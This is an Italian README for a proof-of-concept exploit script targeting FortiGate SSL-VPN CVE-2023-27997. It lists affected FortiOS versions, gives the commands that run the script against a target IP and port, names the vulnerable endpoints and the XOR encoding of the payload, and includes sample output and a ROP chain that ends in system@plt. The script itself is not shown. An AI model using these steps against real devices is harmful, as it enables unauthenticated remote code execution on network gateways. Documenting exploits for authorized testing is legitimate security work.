
Script PoC dell'exploit FortiGate SSL-VPN CVE-2023-27997 con ROP Chain
Script PoC dell'exploit per FortiGate SSL‑VPN CVE‑2023‑27997 con ROP Chain
fgt-cve-2023-27997-exploit.py è uno script exploit Proof‑of‑Concept (PoC) scritto per la vulnerabilità critica CVE‑2023‑27997 scoperta nei dispositivi Fortinet FortiGate.
La vulnerabilità deriva da un errore di buffer overflow basato su heap che consente l'esecuzione remota di codice (RCE) senza autenticazione sull'interfaccia SSL‑VPN di FortiOS.
Passaggi di esecuzione dello script:
/remote/hostcheck_validate per innescare il buffer overflow.Attenzione: Lo script deve essere utilizzato solo in ambienti di test autorizzati o di laboratorio.
| Prodotto | Versioni |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | Versioni interessate |
pip3 install -r requirements.txt
Contenuto di requirements.txt:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
Esempio:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| Argomento | Descrizione |
|---|---|
<TARGET_IP> | Indirizzo IP del FortiGate di destinazione |
<TARGET_PORT> | Porta SSL‑VPN (predefinita: 443 o 10443) |
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
/remote/info --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
enc viene cifrato con lo XOR keystream generato dalla combinazione di salt + seed.| Passo | Gadget | Descrizione |
|---|
| 1 | pop rdi ; ret | Carica l'indirizzo del comando in RDI |
| 2 | system@plt | Il comando viene eseguito |
| – | 0xdeadbeefdeadbeef | Placeholder; l'indirizzo reale deve essere determinato in ambiente di laboratorio |
Questo PoC è progettato per funzionare in un ambiente di test controllato senza richiedere heap grooming.